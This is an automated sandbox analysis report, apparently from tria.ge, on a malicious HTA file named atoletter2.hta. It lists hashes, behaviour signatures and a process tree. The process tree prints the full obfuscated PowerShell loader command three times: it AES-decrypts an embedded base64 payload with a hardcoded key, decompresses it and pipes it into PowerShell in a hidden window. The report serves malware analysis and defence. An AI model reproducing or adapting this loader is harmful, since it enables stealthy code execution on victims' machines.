Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

21/01/2025, 13:39

250121-qx27kswrck 10

21/01/2025, 11:57

250121-n4kvrsskfv 10

21/01/2025, 11:43

250121-nvpglaslfq 10

21/01/2025, 11:26

250121-njtbea1qcp 10

Analysis

  • max time kernel
    122s
  • max time network
    128s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    21/01/2025, 11:26

General

  • Target

    163.5.169.28/atoletter2.hta

  • Size

    1.1MB

  • MD5

    3aa22e06354205638a0560dfd95ba73d

  • SHA1

    bd77bf64a070a8f233197e2db3cdef0879cc446d

  • SHA256

    8867f18c416e402fa6c470e2fa207e2ff1809b69a450356bd8a8c854edea4dd5

  • SHA512

    ce75e12481f9840666fc783bed155779d75845e0b81f5679dd5ea801ad359527b389b611ca11eda321fb28d77dc10089ebf073c41aa00e51b921ea0cc1c28b8b

  • SSDEEP

    1536:qb0rlgqoroRgFUnAFzUbVlt9Ci5namr/l1vcmafSIm+lIWFjBoOuqpd2eWSFU4ww:qb0rlmrkgFUnAFgbVLFnG

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\atoletter2.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2120
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $eAiTrF = 'AAAAAAAAAAAAAAAAAAAAADiqQn+L98Lnbhfc9YVCB5Orw3m2vSQ5edjYIN+I7uvxUInkLQQrayyFuEDHJcxIukMWd0J+xiCidgbbtXz/AjYGsEJg2jibnk4w8bauydN5lzL4aAMjtOBItY7+SmBQG3oqJAt2VltX67rB79Uvi7MiU4ClKSrClrBKSZQ1WJYozCT+Wp93LF80XerBDREAAq2O9LUZQqAejd8Ix11YvvXT97kmknLEjQWmB3RkGdxUt0Qrkat1GhBU0m8StQEZRFVqFQQXEJGStiKuv24k/PmX4/6Yi7tIREBqxX0K026b3LiyK8gD0Kto8uT3tDn23bzDMeGKoEkvvYf6UuB6tUS1KFv8u76v1MRw/alDGIB6CAkPj+gL/IkVL2qtN7K5f3AYEdN3ODeL37pWBeLRa1oMXDAnNS/YzrEQsesDnNCIPhnblwSn0a+aXAF1F4IzACK5RfADPEXMnksO3ODb8Sl17P4N+PmydJ0oZyAoMt+ovN/avgG6E35zlZsRAy28dGpJY02qWDiMCBRO6onbTDDbSLWjOrz5MWTKnl+4z2zEebriQVMiWUM7n8vGRcRREMwFNfu+psmwJeATihW7jsmsRfcaqHTGD6umlmxq4+h9K/0OfwvH33HPiMsS3cZ0trMFg1ZF5o1EvaSGNd8dIvpuABmQ02QI03BoeIk/BmtADEOGrMlr43KAba0GXjRpAQrOpGV55/3N9/5/s4lJAdFvQQCBkF7s6nrbFvIOkYWa2qKu1DUuGtpkC0/YaIMdvsKdublGMWXPJ4hYTNK2s6UOHMz50xCrWfIvoRuciE/gq9lYMyLwsWkbPUwyottwNdMVFySkspYwRxYniB4OhQRj4OJCZu4j83Jy/Mp52UFGO7QGWZTcS5O16A76CO3b4oc+GD9Fgh51AhdYsZ1IFM6R8cMfC+ZO56kw3pfWaFxUff+bOD5PiDmOOu/bQICppqE8SpdSLf1xOHtN/SH+xuet3eaT2vaYY0S3d6ia1QKm';$hFlQR = 'S2VSTnNLUUJiSXVXaUVKYmJFQUN6ZXZuQ1FZUkNmS3k=';$ueqbneh = New-Object 'System.Security.Cryptography.AesManaged';$ueqbneh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ueqbneh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ueqbneh.BlockSize = 128;$ueqbneh.KeySize = 256;$ueqbneh.Key = [System.Convert]::FromBase64String($hFlQR);$bleGb = [System.Convert]::FromBase64String($eAiTrF);$AvnmtSqS = $bleGb[0..15];$ueqbneh.IV = $AvnmtSqS;$kmIzocLDo = $ueqbneh.CreateDecryptor();$nYLAsPvwb = $kmIzocLDo.TransformFinalBlock($bleGb, 16, $bleGb.Length - 16);$ueqbneh.Dispose();$KorHQ = New-Object System.IO.MemoryStream( , $nYLAsPvwb );$cYVuxmc = New-Object System.IO.MemoryStream;$EoaxXywDe = New-Object System.IO.Compression.GzipStream $KorHQ, ([IO.Compression.CompressionMode]::Decompress);$EoaxXywDe.CopyTo( $cYVuxmc );$EoaxXywDe.Close();$KorHQ.Close();[byte[]] $pjaBnP = $cYVuxmc.ToArray();$ShHgsp = [System.Text.Encoding]::UTF8.GetString($pjaBnP);$ShHgsp | powershell - }
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1644
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c powershell.exe $eAiTrF = 'AAAAAAAAAAAAAAAAAAAAADiqQn+L98Lnbhfc9YVCB5Orw3m2vSQ5edjYIN+I7uvxUInkLQQrayyFuEDHJcxIukMWd0J+xiCidgbbtXz/AjYGsEJg2jibnk4w8bauydN5lzL4aAMjtOBItY7+SmBQG3oqJAt2VltX67rB79Uvi7MiU4ClKSrClrBKSZQ1WJYozCT+Wp93LF80XerBDREAAq2O9LUZQqAejd8Ix11YvvXT97kmknLEjQWmB3RkGdxUt0Qrkat1GhBU0m8StQEZRFVqFQQXEJGStiKuv24k/PmX4/6Yi7tIREBqxX0K026b3LiyK8gD0Kto8uT3tDn23bzDMeGKoEkvvYf6UuB6tUS1KFv8u76v1MRw/alDGIB6CAkPj+gL/IkVL2qtN7K5f3AYEdN3ODeL37pWBeLRa1oMXDAnNS/YzrEQsesDnNCIPhnblwSn0a+aXAF1F4IzACK5RfADPEXMnksO3ODb8Sl17P4N+PmydJ0oZyAoMt+ovN/avgG6E35zlZsRAy28dGpJY02qWDiMCBRO6onbTDDbSLWjOrz5MWTKnl+4z2zEebriQVMiWUM7n8vGRcRREMwFNfu+psmwJeATihW7jsmsRfcaqHTGD6umlmxq4+h9K/0OfwvH33HPiMsS3cZ0trMFg1ZF5o1EvaSGNd8dIvpuABmQ02QI03BoeIk/BmtADEOGrMlr43KAba0GXjRpAQrOpGV55/3N9/5/s4lJAdFvQQCBkF7s6nrbFvIOkYWa2qKu1DUuGtpkC0/YaIMdvsKdublGMWXPJ4hYTNK2s6UOHMz50xCrWfIvoRuciE/gq9lYMyLwsWkbPUwyottwNdMVFySkspYwRxYniB4OhQRj4OJCZu4j83Jy/Mp52UFGO7QGWZTcS5O16A76CO3b4oc+GD9Fgh51AhdYsZ1IFM6R8cMfC+ZO56kw3pfWaFxUff+bOD5PiDmOOu/bQICppqE8SpdSLf1xOHtN/SH+xuet3eaT2vaYY0S3d6ia1QKm';$hFlQR = 'S2VSTnNLUUJiSXVXaUVKYmJFQUN6ZXZuQ1FZUkNmS3k=';$ueqbneh = New-Object 'System.Security.Cryptography.AesManaged';$ueqbneh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ueqbneh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ueqbneh.BlockSize = 128;$ueqbneh.KeySize = 256;$ueqbneh.Key = [System.Convert]::FromBase64String($hFlQR);$bleGb = [System.Convert]::FromBase64String($eAiTrF);$AvnmtSqS = $bleGb[0..15];$ueqbneh.IV = $AvnmtSqS;$kmIzocLDo = $ueqbneh.CreateDecryptor();$nYLAsPvwb = $kmIzocLDo.TransformFinalBlock($bleGb, 16, $bleGb.Length - 16);$ueqbneh.Dispose();$KorHQ = New-Object System.IO.MemoryStream( , $nYLAsPvwb );$cYVuxmc = New-Object System.IO.MemoryStream;$EoaxXywDe = New-Object System.IO.Compression.GzipStream $KorHQ, ([IO.Compression.CompressionMode]::Decompress);$EoaxXywDe.CopyTo( $cYVuxmc );$EoaxXywDe.Close();$KorHQ.Close();[byte[]] $pjaBnP = $cYVuxmc.ToArray();$ShHgsp = [System.Text.Encoding]::UTF8.GetString($pjaBnP);$ShHgsp | powershell -
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2744
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe $eAiTrF = 'AAAAAAAAAAAAAAAAAAAAADiqQn+L98Lnbhfc9YVCB5Orw3m2vSQ5edjYIN+I7uvxUInkLQQrayyFuEDHJcxIukMWd0J+xiCidgbbtXz/AjYGsEJg2jibnk4w8bauydN5lzL4aAMjtOBItY7+SmBQG3oqJAt2VltX67rB79Uvi7MiU4ClKSrClrBKSZQ1WJYozCT+Wp93LF80XerBDREAAq2O9LUZQqAejd8Ix11YvvXT97kmknLEjQWmB3RkGdxUt0Qrkat1GhBU0m8StQEZRFVqFQQXEJGStiKuv24k/PmX4/6Yi7tIREBqxX0K026b3LiyK8gD0Kto8uT3tDn23bzDMeGKoEkvvYf6UuB6tUS1KFv8u76v1MRw/alDGIB6CAkPj+gL/IkVL2qtN7K5f3AYEdN3ODeL37pWBeLRa1oMXDAnNS/YzrEQsesDnNCIPhnblwSn0a+aXAF1F4IzACK5RfADPEXMnksO3ODb8Sl17P4N+PmydJ0oZyAoMt+ovN/avgG6E35zlZsRAy28dGpJY02qWDiMCBRO6onbTDDbSLWjOrz5MWTKnl+4z2zEebriQVMiWUM7n8vGRcRREMwFNfu+psmwJeATihW7jsmsRfcaqHTGD6umlmxq4+h9K/0OfwvH33HPiMsS3cZ0trMFg1ZF5o1EvaSGNd8dIvpuABmQ02QI03BoeIk/BmtADEOGrMlr43KAba0GXjRpAQrOpGV55/3N9/5/s4lJAdFvQQCBkF7s6nrbFvIOkYWa2qKu1DUuGtpkC0/YaIMdvsKdublGMWXPJ4hYTNK2s6UOHMz50xCrWfIvoRuciE/gq9lYMyLwsWkbPUwyottwNdMVFySkspYwRxYniB4OhQRj4OJCZu4j83Jy/Mp52UFGO7QGWZTcS5O16A76CO3b4oc+GD9Fgh51AhdYsZ1IFM6R8cMfC+ZO56kw3pfWaFxUff+bOD5PiDmOOu/bQICppqE8SpdSLf1xOHtN/SH+xuet3eaT2vaYY0S3d6ia1QKm';$hFlQR = 'S2VSTnNLUUJiSXVXaUVKYmJFQUN6ZXZuQ1FZUkNmS3k=';$ueqbneh = New-Object 'System.Security.Cryptography.AesManaged';$ueqbneh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ueqbneh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ueqbneh.BlockSize = 128;$ueqbneh.KeySize = 256;$ueqbneh.Key = [System.Convert]::FromBase64String($hFlQR);$bleGb = [System.Convert]::FromBase64String($eAiTrF);$AvnmtSqS = $bleGb[0..15];$ueqbneh.IV = $AvnmtSqS;$kmIzocLDo = $ueqbneh.CreateDecryptor();$nYLAsPvwb = $kmIzocLDo.TransformFinalBlock($bleGb, 16, $bleGb.Length - 16);$ueqbneh.Dispose();$KorHQ = New-Object System.IO.MemoryStream( , $nYLAsPvwb );$cYVuxmc = New-Object System.IO.MemoryStream;$EoaxXywDe = New-Object System.IO.Compression.GzipStream $KorHQ, ([IO.Compression.CompressionMode]::Decompress);$EoaxXywDe.CopyTo( $cYVuxmc );$EoaxXywDe.Close();$KorHQ.Close();[byte[]] $pjaBnP = $cYVuxmc.ToArray();$ShHgsp = [System.Text.Encoding]::UTF8.GetString($pjaBnP);$ShHgsp
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2864
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2768

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    0ab532a6440fb11a72f46211e87bd272

    SHA1

    cdc38983c100951ad562a787425fb849518ae563

    SHA256

    085b8b53784fe16baef593fbab12de58f3c9a11ddeac573a53e36a1289283508

    SHA512

    92f49e89d560ffa272ddf4e0e09328a0aa31c0f40ae495df29f140813563a7dcc7726e198d53cf936e112cf3ddb42d474de0065f20c47e833b76c1b36c69b5c3

  • memory/1644-2-0x0000000002EB0000-0x0000000002EF0000-memory.dmp

    Filesize

    256KB